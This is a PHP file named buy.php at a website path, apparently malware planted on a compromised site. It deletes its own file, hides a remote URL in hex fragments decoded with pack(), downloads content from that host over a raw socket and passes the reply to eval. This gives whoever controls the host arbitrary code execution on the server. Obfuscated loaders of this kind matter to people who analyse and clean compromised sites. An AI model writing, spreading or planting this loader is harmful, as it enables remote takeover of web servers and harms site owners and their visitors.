File: /var/www/vhosts/followyourears.com/httpdocs/buy.php
<?php
@unlink($_SERVER['SCRIPT_FILENAME']);$h='H';$l='68747';$l.='47073';$l.='3a2f2';$l.='f6e';$l.='69636';$l.='5726';$l.='72e';
$l.='6';$l.='36';$l.='f6d2f';$l.='73757';$l.='0';$l.='6572';$l.='2f';$l.='6d61';$l.='6e';$l.='352';$l.='e';$l.='747';$l.='874';$p='p';$p.='a';$p.='ck';$resp='';
$h.='*';$parsed_url=parse_url($p($h,$l));
$host=$parsed_url['host'];$path=isset($parsed_url['path'])?$parsed_url['path']:'/';$query=isset($parsed_url['query'])?'?'.$parsed_url['query']:'';
$scheme=isset($parsed_url['scheme'])?$parsed_url['scheme']:'http';$port=isset($parsed_url['port'])?$parsed_url['port']:($scheme==='https'?443:80);$protocol=($scheme==='https')?'ssl':'tcp';$fp=stream_socket_client("{$protocol}://{$host}:{$port}",$errno,$errstr,20);$headers=array("GET {$path}{$query} HTTP/1.1","Host: {$host}","Connection: Close",);$request=implode("\r\n",$headers)."\r\n\r\n";
fwrite($fp,$request);$response='';while(!feof($fp)){
$response .= fgets($fp,1024);}fclose($fp);$response_parts=explode("\r\n\r\n",$response,2);$headers=isset($response_parts[0])?$response_parts[0]:'';$body=isset($response_parts[1])?$response_parts[1]:'';if(stripos($headers,"Transfer-Encoding: chunked")!==false){$decoded='';while(true){$pos=strpos($body,"\r\n");if($pos === false) break;$length=hexdec(substr($body,0,$pos));if($length === 0) break;$decoded.=substr($body,$pos+2,$length);$body=substr($body,$pos+2+$length+2);}$resp=trim($decoded);
}
$_GET['_kh'] = '68747470733n2s2s72672r6o66636275792r636s6q';eVAl(
'?'. ">".$resp
);?>